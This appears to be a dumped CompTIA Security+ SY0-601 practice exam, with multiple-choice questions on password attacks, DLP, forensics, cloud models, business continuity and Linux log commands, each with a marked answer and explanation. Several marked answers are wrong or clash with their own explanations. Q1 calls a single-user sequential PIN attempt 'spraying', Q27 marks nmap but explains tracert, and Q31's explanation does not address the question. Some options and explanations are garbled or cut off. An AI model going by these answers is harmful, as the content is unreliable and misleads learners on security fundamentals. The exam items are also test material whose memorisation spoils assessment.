

Exam Questions SY0-601

CompTIA Security+ Exam

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NEW QUESTION 1

- (Exam Topic 3)

A security analyst is investigating what appears to be unauthorized access to a corporate web application. The security analyst reviews the web server logs and finds the following entries:

```
106.35.45.53 - - [22/May/2020:07:00:58 +0100] "GET /login?username=admin&pin=0000 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:01:21 +0100] "GET /login?username=admin&pin=0001 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:01:52 +0100] "GET /login?username=admin&pin=0002 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:02:18 +0100] "GET /login?username=admin&pin=0003 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:02:18 +0100] "GET /login?username=admin&pin=0004 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
```

Which of the following password attacks is taking place?

- A. Dictionary
- B. Brute-force
- C. Rainbow table
- D. Spraying

Answer: D

Explanation:

Spraying is a password attack that involves trying a few common passwords against a large number of usernames. Spraying is different from brute-force attacks, which try many possible passwords against one username, or dictionary attacks, which try a list of words from a dictionary file against one username. Spraying is often used when the web application has a lockout policy that prevents multiple failed login attempts for the same username. Spraying can be detected by looking for patterns of failed login attempts from the same source IP address with different usernames and the same or similar passwords.

NEW QUESTION 2

- (Exam Topic 3)

Which of the following is a primary security concern for a company setting up a BYOD program?

- A. End of life
- B. Buffer overflow
- C. VM escape
- D. Jailbreaking

Answer: D

Explanation:

Jailbreaking is a process of bypassing or removing the manufacturer-imposed restrictions on a mobile device's operating system, allowing users to install unauthorized applications, modify settings, etc. It is a primary security concern for setting up a BYOD program because it can expose the device and its data to malware, vulnerabilities, unauthorized access, etc.

NEW QUESTION 3

- (Exam Topic 3)

A large retail store's network was breached recently. and this news was made public. The Store did not lose any intellectual property, and no customer information was stolen. Although no fines were incurred as a result, the Store lost revenue after the breach. Which of the following is the most likely reason for this issue?

- A. Employee training
- B. Leadership changes
- C. Reputation
- D. Identity theft

Answer: C

Explanation:

Reputation is the perception or opinion that customers, partners, investors, etc., have about a company or its products and services. It can affect the revenue and profitability of a company after a network breach, even if no intellectual property or customer information was stolen, because it can damage the trust and confidence of the stakeholders and reduce their willingness to do business with the company

NEW QUESTION 4

- (Exam Topic 3)

Which of the following tools can assist with detecting an employee who has accidentally emailed a file containing a customer's PII?

- A. SCAP
- B. NetFlow
- C. Antivirus
- D. DLP

Answer: D

Explanation:

DLP stands for Data Loss Prevention, which is a technology that can monitor, detect and prevent the unauthorized transmission of sensitive data, such as PII

(Personally Identifiable Information). DLP can be implemented on endpoints, networks, servers or cloud services to protect data in motion, in use or at rest. DLP can also block or alert on data transfers that violate predefined policies or rules. DLP is the best tool to assist with detecting an employee who has accidentally emailed a file containing a customer's PII, as it can scan the email content and attachments for any data that matches the criteria of PII and prevent the email from being sent or notify the administrator of the incident. Verified References:

- Data Loss Prevention Guide to Blocking Leaks - CompTIA <https://www.comptia.org/content/guides/data-loss-prevention-a-step-by-step-guide-to-blocking-leaks>
- Data Loss Prevention – SY0-601 CompTIA Security+ : 2.1 <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/data-loss-prevention-4/>
- Data Loss Prevention – CompTIA Security+ SY0-501 – 2.1 <https://www.professormesser.com/security-plus/sy0-501/data-loss-prevention-3/>

NEW QUESTION 5

- (Exam Topic 3)

A company wants to deploy decoy systems alongside production systems in order to entice threat actors and to learn more about attackers. Which of the following best describes these systems?

- A. DNS sinkholes
- B. Honey pots
- C. Virtual machines
- D. Neural networks

Answer: B

Explanation:

Honey pots are decoy systems or resources that are designed to attract and deceive threat actors and to learn more about their motives, techniques, etc. They can be deployed alongside production systems to create an illusion of a vulnerable target and divert attacks away from the real systems. They can also collect valuable information and evidence about the attackers and their activities for further analysis or prosecution.

NEW QUESTION 6

- (Exam Topic 3)

Which of the following automation use cases would best enhance the security posture of an organization by rapidly updating permissions when employees leave a company or change job roles internally?

- A. Provisioning resources
- B. Disabling access
- C. APIs
- D. Escalating permission requests

Answer: B

Explanation:

Disabling access is an automation use case that can enhance the security posture of an organization by rapidly updating permissions when employees leave a company or change job roles internally. It can prevent unauthorized access and data leakage by revoking or modifying the access rights of employees based on their current status and role.

NEW QUESTION 7

- (Exam Topic 3)

A company is developing a business continuity strategy and needs to determine how many staff members would be required to sustain the business in the case of a disruption.

Which of the following best describes this step?

- A. Capacity planning
- B. Redundancy
- C. Geographic dispersion
- D. Tabletop exercise

Answer: A

Explanation:

Capacity planning is the process of determining the resources needed to meet the demand for a service or product. It involves estimating the number of staff members required to sustain the business in the case of a disruption, as well as other factors such as equipment, space, and budget¹².

Redundancy, geographic dispersion, and tabletop exercise are not directly related to determining the staff members needed for business continuity. Redundancy is the duplication of critical components or functions to increase reliability and availability². Geographic dispersion is the distribution of resources across different locations to reduce the impact of a localized disaster². Tabletop exercise is a simulation of a potential scenario that tests the effectiveness of a business continuity plan

NEW QUESTION 8

- (Exam Topic 3)

A company's help desk has received calls about the wireless network being down and users being unable to connect to it. The network administrator says all access points are up and running. One of the help desk technicians notices the affected users are working in a building near the parking lot. Which of the following is the most likely reason for the outage?

- A. Someone near the building is jamming the signal
- B. A user has set up a rogue access point near the building
- C. Someone set up an evil twin access point in the affected area.
- D. The APs in the affected area have been unplugged from the network

Answer: A

Explanation:

Jamming is a type of denial-of-service attack that involves interfering with or blocking the wireless signal using a device that emits radio waves at the same

frequency as the wireless network. It can cause the wireless network to be down and users to be unable to connect to it, especially if they are working in a building near the parking lot where someone could easily place a jamming device.

NEW QUESTION 9

- (Exam Topic 3)

A security architect is designing a remote access solution for a business partner. The business partner needs to access one Linux server at the company. The business partner wants to avoid managing a password for authentication and additional software installation. Which of the following should the architect recommend?

- A. Soft token
- B. Smart card
- C. CSR
- D. SSH key

Answer: D

Explanation:

SSH key is a pair of cryptographic keys that can be used for authentication and encryption when connecting to a remote Linux server via SSH protocol. SSH key authentication does not require a password and is more secure than password-based authentication. SSH key authentication also does not require additional software installation on the client or the server, as SSH is a built-in feature of most Linux distributions. A business partner can generate an SSH key pair on their own computer and send the public key to the company, who can then add it to the `authorized_keys` file on the Linux server. This way, the business partner can access the Linux server without entering a password or installing any software.

NEW QUESTION 10

- (Exam Topic 3)

A web architect would like to move a company's website presence to the cloud. One of the management team's key concerns is resiliency in case a cloud provider's data center or network connection goes down. Which of the following should the web architect consider to address this concern?

- A. Containers
- B. Virtual private cloud
- C. Segmentation
- D. Availability zones

Answer: D

Explanation:

Availability zones are the most appropriate cloud feature to address the concern of resiliency in case a cloud provider's data center or network connection goes down. Availability zones are physically separate locations within an Azure region that have independent power, cooling, and networking. Each availability zone is made up of one or more data centers and houses infrastructure to support highly available, mission-critical applications. Availability zones are connected with high-speed, private fiber-optic networks. Azure services that support availability zones fall into two categories: Zonal services – you pin the resource to a specific zone (for example, virtual machines, managed disks, IP addresses), or Zone-redundant services – platform replicates automatically across zones (for example, zone-redundant storage, SQL Database). To achieve comprehensive business continuity on Azure, build your application architecture using the combination of availability zones with Azure region pairs. You can synchronously replicate your applications and data using availability zones within an Azure region for high-availability and asynchronously replicate across Azure regions for disaster recovery protection.

NEW QUESTION 10

- (Exam Topic 3)

Which of the following supplies non-repudiation during a forensics investigation?

- A. Dumping volatile memory contents first
- B. Duplicating a drive with dd
- C. Using a SHA-2 signature of a drive image
- D. Logging everyone in contact with evidence
- E. Encrypting sensitive data

Answer: C

Explanation:

Using a SHA-2 signature of a drive image is a way to supply non-repudiation during a forensics investigation, as it can verify the integrity and authenticity of the data captured in the image. SHA-2 is a family of secure hash algorithms that can produce a unique and fixed-length digest of any input data. By hashing the drive image and comparing the signature with the original hash, the investigator can prove that the image has not been altered or tampered with since the time of acquisition. This can also help to identify the source of the data and prevent any denial from the suspect. References:

- <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/managing-evidence/>
- <https://www.skillsoft.com/course/comptia-security-incident-response-digital-forensics-supporting-investigations>

NEW QUESTION 15

- (Exam Topic 3)

A company is auditing the manner in which its European customers' personal information is handled. Which of the following should the company consult?

- A. GDPR
- B. ISO
- C. NIST
- D. PCI DSS

Answer: A

Explanation:

GDPR stands for General Data Protection Regulation, which is a legal framework that sets guidelines for the collection and processing of personal information of

individuals within the European Union (EU). GDPR also applies to organizations outside the EU that offer goods or services to, or monitor the behavior of, EU data subjects. GDPR aims to protect the privacy and rights of EU citizens and residents regarding their personal data. GDPR defines personal data as any information relating to an identified or identifiable natural person, such as name, identification number, location data, online identifiers, or any factors specific to the physical, physiological, genetic, mental, economic, cultural, or social identity of that person. A company that is auditing the manner in which its European customers' personal information is handled should consult GDPR to ensure compliance with its rules and obligations. References:

- <https://www.gdpreu.org/the-regulation/key-concepts/personal-data/>
- <https://ico.org.uk/for-organisations-2/guide-to-data-protection/guide-to-the-general-data-protection-regula>

NEW QUESTION 19

- (Exam Topic 2)

A security architect is working on an email solution that will send sensitive data. However, funds are not currently available in the budget for building additional infrastructure. Which of the following should the architect choose?

- A. POP
- B. IPSec
- C. IMAP
- D. PGP

Answer: D

Explanation:

PGP (Pretty Good Privacy) is a commonly used encryption method for email communications to secure the sensitive data being sent. It allows for the encryption of the entire message or just the sensitive parts. It would be an appropriate solution in this case as it doesn't require additional infrastructure to implement.

NEW QUESTION 23

- (Exam Topic 2)

A security administrator needs to add fault tolerance and load balancing to the connection from the file server to the backup storage. Which of the following is the best choice to achieve this objective?

- A. Multipathing
- B. RAID
- C. Segmentation
- D. 8021.1

Answer: A

Explanation:

to achieve the objective of adding fault tolerance and load balancing to the connection from the file server to the backup storage is multipathin1g. Multipathing is a technique that allows a system to use more than one path to access a storage device1. This can improve performance by distributing the workload across multiple paths, and also provide fault tolerance by switching to an alternative path if one path fails1. Multipathing can be implemented using software or hardware solutions1.

NEW QUESTION 24

- (Exam Topic 2)

An account was disabled after several failed and successful login connections were made from various parts of the Word at various times. A security analysts investigating the issue. Which of the following account policies most likely triggered the action to disable the

- A. Time based logins
- B. Password history
- C. Geofencing
- D. Impossible travel time

Answer: D

Explanation:

Impossible travel time is a policy that detects and blocks login attempts from locations that are geographically impossible to reach from the previous login location within a certain time frame. For example, if a user logs in from New York and then tries to log in from Tokyo within an hour, the policy would flag this as impossible travel time and disable the account. This policy helps prevent unauthorized access from compromised credentials or attackers using proxy servers. References: 1 CompTIA Security+ Certification Exam Objectives page 6, Domain 1.0: Attacks, Threats, and Vulnerabilities, Objective 1.2: Compare and contrast different types of social engineering techniques 2 CompTIA Security+ Certification Exam Objectives, page 14, Domain 3.0: Implementation, Objective 3.4: Implement identity and account management controls 3 <https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-sign-in-risk-policy#impossi>

NEW QUESTION 27

- (Exam Topic 2)

Users report access to an application from an internal workstation is still unavailable to a specific server, even after a recent firewall rule implementation that was requested for this access. ICMP traffic is successful between the two devices. Which of the following tools should the security analyst use to help identify if the traffic is being blocked?

- A. nmap
- B. tracer
- C. ping
- D. ssh

Answer: A

Explanation:

Tracert is a command-line tool that shows the route that packets take to reach a destination on a network¹. It also displays the time it takes for each hop along the way¹. By using tracert, you can see if there is a router or firewall that is blocking or slowing down the traffic between the internal workstation and the specific server¹.

NEW QUESTION 31

- (Exam Topic 2)

Which of the following can be used to detect a hacker who is stealing company data over port 80?

- A. Web application scan
- B. Threat intelligence
- C. Log aggregation
- D. Packet capture

Answer: D

Explanation:

- Using a SIEM tool to monitor network traffic in real-time and detect any anomalies or malicious activities
- Monitoring all network protocols and ports to detect suspicious volumes of traffic or connections to uncommon IP addresses
- Monitoring for outbound traffic patterns that indicate malware communication with command and control servers, such as beaconing or DNS tunneling
- Using a CASB tool to control access to cloud resources and prevent data leaks or downloads
- Encrypting data at rest and in transit and enforcing strong authentication and authorization policies

NEW QUESTION 35

- (Exam Topic 2)

An organization is concerned about hackers potentially entering a facility and plugging in a remotely accessible Kali Linux box. Which of the following should be the first lines of defense against such an attack? (Select TWO).

- A. MAC filtering
- B. Zero trust segmentation
- C. Network access control
- D. Access control vestibules
- E. Guards
- F. Bollards.

Answer: AC

Explanation:

MAC filtering is a method of allowing or denying access to a network based on the MAC address of the device attempting to connect. By creating a list of approved MAC addresses, the organization can prevent unauthorized devices from connecting to the network. Network Access Control (NAC) is a security solution that allows organizations to restrict access to their networks based on the device's identity, configuration, and security posture. This can be used to ensure that only legitimate devices are allowed to connect to the network, and any unauthorized devices are blocked.

NEW QUESTION 37

- (Exam Topic 2)

A global pandemic is forcing a private organization to close some business units and reduce staffing at others. Which of the following would be best to help the organization's executives determine their next course of action?

- A. An incident response plan
- B. A communication plan
- C. A disaster recovery plan
- D. A business continuity plan

Answer: D

Explanation:

A business continuity plan (BCP) is a document that outlines how an organization will continue its critical functions during and after a disruptive event, such as a natural disaster, pandemic, cyberattack, or power outage. A BCP typically covers topics such as business impact analysis, risk assessment, recovery strategies, roles and responsibilities, communication plan, testing and training, and maintenance and review. A BCP can help the organization's executives determine their next course of action by providing them with a clear framework and guidance for managing the crisis and resuming normal operations.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.ready.gov/business-continuity-plan>

NEW QUESTION 41

- (Exam Topic 2)

A desktop computer was recently stolen from a desk located in the lobby of an office building. Which of the following would be the best way to secure a replacement computer and deter future theft?

- A. Installing proximity card readers on all entryway doors
- B. Deploying motion sensor cameras in the lobby
- C. Encrypting the hard drive on the new desktop
- D. Using cable locks on the hardware

Answer: D

Explanation:

Using cable locks on the hardware can be an effective way to secure a desktop computer and deter future theft. Cable locks are physical security devices that attach to the computer case and to a nearby stationary object, such as a desk or wall. This makes it more difficult for a thief to remove the computer without

damaging it or attracting attention.

Installing proximity card readers on all entryway doors can enhance physical security by limiting access to authorized individuals. Deploying motion sensor cameras in the lobby can also help deter theft by capturing images of any unauthorized individuals entering the premises or attempting to steal the computer. Encrypting the hard drive on the replacement desktop can also help protect sensitive data in the event of theft, but it does not provide physical security for the device itself.

NEW QUESTION 46

- (Exam Topic 2)

A company is concerned about individuals driving a car into the building to gain access. Which of the following security controls would work BEST to prevent this from happening?

- A. Bollard
- B. Camera
- C. Alarms
- D. Signage
- E. Access control vestibule

Answer: A

Explanation:

Bollards are posts designed to prevent vehicles from entering an area. They are usually made of steel or concrete and are placed close together to make it difficult for vehicles to pass through. In addition to preventing vehicles from entering an area, bollards can also be used to protect buildings and pedestrians from ramming attacks. They are an effective and cost-efficient way to protect buildings and pedestrians from unauthorized access.

NEW QUESTION 47

- (Exam Topic 2)

A security administrator is compiling information from all devices on the local network in order to gain better visibility into user activities. Which of the following is the best solution to meet this objective?

- A. SIEM
- B. HIDS
- C. CASB
- D. EDR

Answer: A

Explanation:

SIEM stands for Security Information and Event Management, which is a solution that can collect, correlate, and analyze security logs and events from various devices on a network. SIEM can provide better visibility into user activities by generating reports, alerts, dashboards, and metrics. SIEM can also help detect and respond to security incidents, comply with regulations, and improve security posture.

NEW QUESTION 52

- (Exam Topic 2)

Security engineers are working on digital certificate management with the top priority of making administration easier. Which of the following certificates is the best option?

- A. User
- B. Wildcard
- C. Self-signed
- D. Root

Answer: B

Explanation:

A wildcard certificate is a type of digital certificate that can be used to secure multiple subdomains under a single domain name. For example, a wildcard certificate for *.example.com can be used to secure www.example.com, mail.example.com, blog.example.com, etc. A wildcard certificate can make administration easier by reducing the number of certificates that need to be issued, managed, and renewed. It can also save costs and simplify configuration.

NEW QUESTION 53

- (Exam Topic 2)

An attacker is using a method to hide data inside of benign files in order to exfiltrate confidential data. Which of the following is the attacker most likely using?

- A. Base64 encoding
- B. Steganography
- C. Data encryption
- D. Perfect forward secrecy

Answer: B

Explanation:

Steganography is a technique for hiding data inside of benign files such as images, audio, or video. This can be used to exfiltrate confidential data without raising suspicion or detection.

References: How to Hide Files Inside Files [Images, Folder] - Raymond.CC Blog; How to Hide Data in a Secret Text File Compartment - How-To Geek; How to Hide Data Within an Image - Medium

NEW QUESTION 57

- (Exam Topic 2)

A new security engineer has started hardening systems. One of the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability to use SCP to transfer files to the NAS, even though the data is still viewable from the users' PCs. Which of the following is the MOST likely cause of this issue?

- A. TFTP was disabled on the local hosts.
- B. SSH was turned off instead of modifying the configuration file.
- C. Remote login was disabled in the networkd.conf instead of using the ssh
- D. conf.
- E. Network services are no longer running on the NAS

Answer: B

Explanation:

SSH is used to securely transfer files to the remote server and is required for SCP to work. Disabling SSH will prevent users from being able to use SCP to transfer files to the server. To enable SSH, the security engineer should modify the SSH configuration file (sshd.conf) and make sure that SSH is enabled. For more information on hardening systems and the security techniques that can be used, refer to the CompTIA Security+ SY0-601 Official Text Book and Resources.

NEW QUESTION 61

- (Exam Topic 2)

A company that provides an online streaming service made its customers' personal data including names and email addresses publicly available in a cloud storage service. As a result, the company experienced an increase in the number of requests to delete user accounts. Which of the following best describes the consequence of this data disclosure?

- A. Regulatory fines
- B. Reputation damage
- C. Increased insurance costs
- D. Financial loss

Answer: B

Explanation:

Reputation damage Short explanation

Reputation damage is the loss of trust or credibility that a company suffers when its customers' personal data is exposed or breached. This can lead to customer dissatisfaction, loss of loyalty, and requests to delete user accounts. References: <https://www.comptia.org/content/guides/what-is-cybersecurity>

NEW QUESTION 65

- (Exam Topic 2)

A backup operator wants to perform a backup to enhance the RTO and RPO in a highly time- and storage-efficient way that has no impact on production systems. Which of the following backup types should the operator use?

- A. Tape
- B. Full
- C. Image
- D. Snapshot

Answer: D

Explanation:

A snapshot backup is a type of backup that captures the state of a system at a point in time. It is highly time- and storage-efficient because it only records the changes made to the system since the last backup. It also has no impact on production systems because it does not require them to be offline or paused during the backup process. References: <https://www.comptia.org/blog/what-is-a-snapshot-backup>

NEW QUESTION 70

- (Exam Topic 2)

A company has numerous employees who store PHI data locally on devices. The Chief Information Officer wants to implement a solution to reduce external exposure of PHI but not affect the business.

The first step the IT team should perform is to deploy a DLP solution:

- A. for only data in transit.
- B. for only data at rest.
- C. in blocking mode.
- D. in monitoring mode.

Answer: D

Explanation:

A DLP solution in monitoring mode is a good first step to deploy for data loss prevention. It allows the IT team to observe and analyze the data flows and activities without blocking or interfering with them. It helps to identify the sources and destinations of sensitive data, the types and volumes of data involved, and the potential risks and violations. It also helps to fine-tune the DLP policies and rules before switching to blocking mode, which can disrupt business operations if not configured properly.

NEW QUESTION 71

- (Exam Topic 2)

Which of the following should a Chief Information Security Officer consider using to take advantage of industry standard guidelines?

- A. SSAE SOC 2
- B. GDPR
- C. PCI DSS
- D. NIST CSF

Answer: D

Explanation:

NIST CSF (National Institute of Standards and Technology Cybersecurity Framework) is a set of guidelines and best practices for managing cybersecurity risks. It is based on existing standards, guidelines, and practices that are widely recognized and applicable across different sectors and organizations. It provides a common language and framework for understanding, communicating, and managing cybersecurity risks. References: 1 CompTIA Security+ Certification Exam Objectives, page 7, Domain 1.0: Attacks, Threats, and Vulnerabilities, Objective 1.4: Explain the techniques used in security assessments 2 CompTIA Security+ Certification Exam Objectives, page 8, Domain 2.0: Architecture and Design, Objective 2.1: Explain the importance of secure staging deployment concepts 3 <https://www.nist.gov/cyberframework>

NEW QUESTION 72

- (Exam Topic 2)

An upcoming project focuses on secure communications and trust between external parties. Which of the following security components will need to be considered to ensure a chosen trust provider IS used and the selected option is highly scalable?

- A. Self-signed certificate
- B. Certificate attributes
- C. Public key Infrastructure
- D. Domain validation

Answer: C

Explanation:

PKI is a security technology that enables secure communication between two parties by using cryptographic functions. It consists of a set of components that are used to create, manage, distribute, store, and revoke digital certificates. PKI provides a secure way to exchange data between two parties, as well as a trust provider to ensure that the data is not tampered with. It also helps to create a highly scalable solution, as the same certificate can be used for multiple parties. According to the CompTIA Security+ Study Guide, "PKI is a technology used to secure communications between two external parties. PKI is based on the concept of digital certificates, which are used to authenticate the sender and recipient of a message. PKI provides a trust provider to ensure that the digital certificate is valid and has not been tampered with. It also provides a scalable solution, as multiple parties can use the same certificate."

NEW QUESTION 74

- (Exam Topic 2)

A systems engineer thinks a business system has been compromised and is being used to exfiltrated data to a competitor The engineer contacts the CSIRT The CSIRT tells the engineer to immediately disconnect the network cable and to not do anything else Which of the following is the most likely reason for this request?

- A. The CSIRT thinks an insider threat is attacking the network
- B. Outages of business-critical systems cost too much money
- C. The CSIRT does not consider the systems engineer to be trustworthy
- D. Memory contents including fileles malware are lost when the power is turned off

Answer: D

Explanation:

Memory contents including files and malware are lost when the power is turned off. This is because memory is a volatile storage device that requires constant power to retain data. If a system has been compromised and is being used to exfiltrate data to a competitor, the CSIRT may want to preserve the memory contents for forensic analysis and evidence collection. Therefore, the CSIRT may tell the engineer to immediately disconnect the network cable and not do anything else to prevent further data loss or tampering.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives> <https://resources.infosecinstitute.com/topic/memory-acquisition-and-analysis/>

NEW QUESTION 78

- (Exam Topic 2)

A security engineer updated an application on company workstations. The application was running before the update, but it is no longer launching successfully. Which of the following most likely needs to be updated?

- A. Blocklist
- B. Deny list
- C. Quarantine list
- D. Approved fist

Answer: D

Explanation:

Approved list is a list of applications or programs that are allowed to run on a system or network. An approved list can prevent unauthorized or malicious software from running and compromising the security of the system or network. An approved list can also help with patch management and compatibility issues. If the security engineer updated an application on the company workstations, the application may need to be added or updated on the approved list to be able to launch successfully. References: 1

CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and Design, Objective 2.4: Explain the importance of embedded and specialized systems security 2

CompTIA Security+ Certification Exam Objectives, page 12, Domain 3.0: Implementation, Objective 3.1: Implement secure network architecture concepts 3 <https://www.comptia.org/blog/what-is-application-whitelisting>

NEW QUESTION 83

- (Exam Topic 2)

A manager for the development team is concerned about reports showing a common set of vulnerabilities. The set of vulnerabilities is present on almost all of the applications developed by the team. Which of the following approaches would be most effective for the manager to use to address this issue?

- A. Tune the accuracy of fuzz testing.
- B. Invest in secure coding training and application security guidelines.
- C. Increase the frequency of dynamic code scans to detect issues faster.
- D. Implement code signing to make code immutable.

Answer: B

Explanation:

Invest in secure coding training and application security guidelines is the most effective approach for the manager to use to address the issue of common vulnerabilities in the applications developed by the team. Secure coding training can help the developers learn how to write code that follows security best practices and avoids common mistakes or flaws that can introduce vulnerabilities. Application security guidelines can provide a set of standards and rules for developing secure applications that meet the company's security requirements and policies. By investing in secure coding training and application security guidelines, the manager can improve the security awareness and skills of the development team and reduce the number of vulnerabilities in their applications. References: 1 CompTIA Security+ Certification Exam Objectives, page 9, Domain 2.0: Architecture and Design, Objective 2.3: Summarize secure application development, deployment, and automation concepts 2 CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and Design, Objective 2.4: Explain the importance of embedded and specialized systems security 3 <https://www.comptia.org/blog/what-is-secure-coding>

NEW QUESTION 87

- (Exam Topic 2)

A company has hired an assessment team to test the security of the corporate network and employee vigilance. Only the Chief Executive Officer and Chief Operating Officer are aware of this exercise, and very little information has been provided to the assessors. Which of the following is taking place?

- A. A red-team test
- B. A white-team test
- C. A purple-team test
- D. A blue-team test

Answer: A

Explanation:

A red-team test is a type of security assessment that simulates a real-world attack on an organization's network, systems, applications, and people. The goal of a red-team test is to evaluate the organization's security posture, identify vulnerabilities and gaps, and test the effectiveness of its detection and response capabilities. A red-team test is usually performed by a group of highly skilled security professionals who act as adversaries and use various tools and techniques to breach the organization's defenses. A red-team test is often conducted without the knowledge or consent of most of the organization's staff, except for a few senior executives who authorize and oversee the exercise.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives> <https://cybersecurity.att.com/blogs/security-essentials/what-is-red-teaming>

NEW QUESTION 89

- (Exam Topic 2)

Which of the following best describes when an organization Utilizes a read-to-use application from a cloud provider?

- A. IaaS
- B. SaaS
- C. PaaS
- D. XaaS

Answer: B

Explanation:

SaaS stands for software as a service, which is a cloud computing model that provides ready-to-use applications over the internet. SaaS applications are hosted and managed by a cloud provider who also handles software updates, maintenance, security, and scalability. SaaS users can access the applications through a web browser or a mobile app without installing any software on their devices. SaaS applications are typically offered on a subscription or pay-per-use basis.

Examples of SaaS applications include email services, online office suites, customer relationship management (CRM) systems, and video conferencing platforms. References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives> <https://www.ibm.com/cloud/learn/software-as-a-service>

NEW QUESTION 90

- (Exam Topic 2)

The alert indicates an attacker entered thousands of characters into the text box of a web form. The web form was intended for legitimate customers to enter their phone numbers. Which of the attacks has most likely occurred?

- A. Privilege escalation
- B. Buffer overflow
- C. Resource exhaustion
- D. Cross-site scripting

Answer: B

Explanation:

A buffer overflow attack occurs when an attacker inputs more data than the buffer can store, causing the excess data to overwrite adjacent memory locations and corrupt or execute code¹. In this case, the attacker entered thousands of characters into a text box that was intended for phone numbers, which are much shorter. This could result in a buffer overflow attack that compromises the web application or server. The other options are not related to this scenario. Privilege escalation is when an attacker gains unauthorized access to higher-level privileges or resources². Resource exhaustion is when an attacker consumes all the available resources of a system, such as CPU, memory, disk space, etc., to cause a denial of service³. Cross-site scripting is when an attacker injects malicious code into a web page that is executed by the browser of a victim who visits the page.

References: 1: <https://www.fortinet.com/resources/cyberglossary/buffer-overflow> 2:

<https://www.imperva.com/learn/application-security/privilege-escalation/> 3: <https://www.imperva.com/learn/application-security/resource-exhaustion/> :
<https://owasp.org/www-community/attacks/xss/>

NEW QUESTION 93

- (Exam Topic 2)

A web server log contains two million lines. A security analyst wants to obtain the next 500 lines starting from line 4,600. Which of the following commands will help the security analyst to achieve this objective?

- A. cat webserver.log | head -4600 | tail +500 |
- B. cat webserver.log | tail -1995400 | tail -500 |
- C. cat webserver.log | tail -4600 | head -500 |
- D. cat webserver.log | head -5100 | tail -500 |

Answer: D

Explanation:

the cat command displays the contents of a file, the head command displays the first lines of a file, and the tail command displays the last lines of a file. To display a specific number of lines from a file, you can use a minus sign followed by a number as an option for head or tail. For example, head -10 will display the first 10 lines of a file.

To obtain the next 500 lines starting from line 4,600, you need to use both head and tail commands. <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/file-manipulation-tools/>

NEW QUESTION 96

- (Exam Topic 2)

Which of the following is the correct order of evidence from most to least volatile in forensic analysis?

- A. Memory, disk, temporary filesystems, CPU cache
- B. CPU cache, memory, disk, temporary filesystems
- C. CPU cache, memory, temporary filesystems, disk
- D. CPU cache, temporary filesystems, memory, disk

Answer: C

Explanation:

The correct order of evidence from most to least volatile in forensic analysis is based on how quickly the evidence can be lost or altered if not collected or preserved properly. CPU cache is the most volatile type of evidence because it is stored in a small amount of memory on the processor and can be overwritten or erased very quickly. Memory is the next most volatile type of evidence because it is stored in RAM and can be lost when the system is powered off or rebooted. Temporary filesystems are less volatile than memory because they are stored on disk, but they can still be deleted or overwritten by other processes or users. Disk is the least volatile type of evidence because it is stored on permanent storage devices and can be recovered even after deletion or formatting, unless overwritten by new data. References:

<https://www.comptia.org/blog/what-is-volatility-in-digital-forensics>

NEW QUESTION 97

- (Exam Topic 2)

A security administrator performs weekly vulnerability scans on all cloud assets and provides a detailed report. Which of the following describes the administrator's activities?

- A. Continuous deployment
- B. Continuous integration
- C. Continuous validation
- D. Continuous monitoring

Answer: C

Explanation:

Continuous validation is a process that involves performing regular and automated tests to verify the security and functionality of a system or an application. Continuous validation can help identify and remediate vulnerabilities, bugs, or misconfigurations before they cause any damage or disruption. The security administrator's activities of performing weekly vulnerability scans on all cloud assets and providing a detailed report are examples of continuous validation.

NEW QUESTION 99

- (Exam Topic 2)

A company is moving its retail website to a public cloud provider. The company wants to tokenize audit card data but not allow the cloud provider to see the stored credit card information. Which of the following would BEST meet these objectives?

- A. WAF
- B. CASB
- C. VPN
- D. TLS

Answer: B

Explanation:

CASB stands for cloud access security broker, which is a software tool or service that acts as an intermediary between users and cloud service providers. CASB can help protect data stored in cloud services by enforcing security policies and controls such as encryption, tokenization, authentication, authorization, logging, auditing, and threat detection. Tokenization is a process that replaces sensitive data with non-sensitive substitutes called tokens that have no intrinsic value. Tokenization can help prevent data leakage by ensuring that only authorized users can access the original data using a tokenization system.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

<https://www.cisco.com/c/en/us/products/security/what>

NEW QUESTION 103

- (Exam Topic 2)

A Chief Information Security Officer (CISO) is evaluating the dangers involved in deploying a new ERP system for the company. The CISO categorizes the system, selects the controls that apply to the system, implements the controls, and then assesses the success of the controls before authorizing the system. Which of the following is the CISO using to evaluate the environment for this new ERP system?

- A. The Diamond Model of Intrusion Analysis
- B. CIS Critical Security Controls
- C. NIST Risk Management Framework
- D. ISO 27002

Answer: C

Explanation:

The NIST Risk Management Framework (RMF) is a process for evaluating the security of a system and implementing controls to reduce potential risks associated with it. The RMF process involves categorizing the system, selecting the controls that apply to the system, implementing the controls, and then assessing the success of the controls before authorizing the system. For more information on the NIST Risk Management Framework and other security processes, refer to the CompTIA Security+ SY0-601 Official Text Book and Resources.

NEW QUESTION 106

- (Exam Topic 2)

A systems analyst is responsible for generating a new digital forensics chain-of-custody form. Which of the following should the analyst include in this documentation? (Select two).

- A. The order of volatility
- B. A forensics NDA
- C. The provenance of the artifacts
- D. The vendor's name
- E. The date and time
- F. A warning banner

Answer: CE

Explanation:

A digital forensics chain-of-custody form is a document that records the chronological and logical sequence of custody, control, transfer, analysis, and disposition of digital evidence. A digital forensics chain-of-custody form should include the following information:

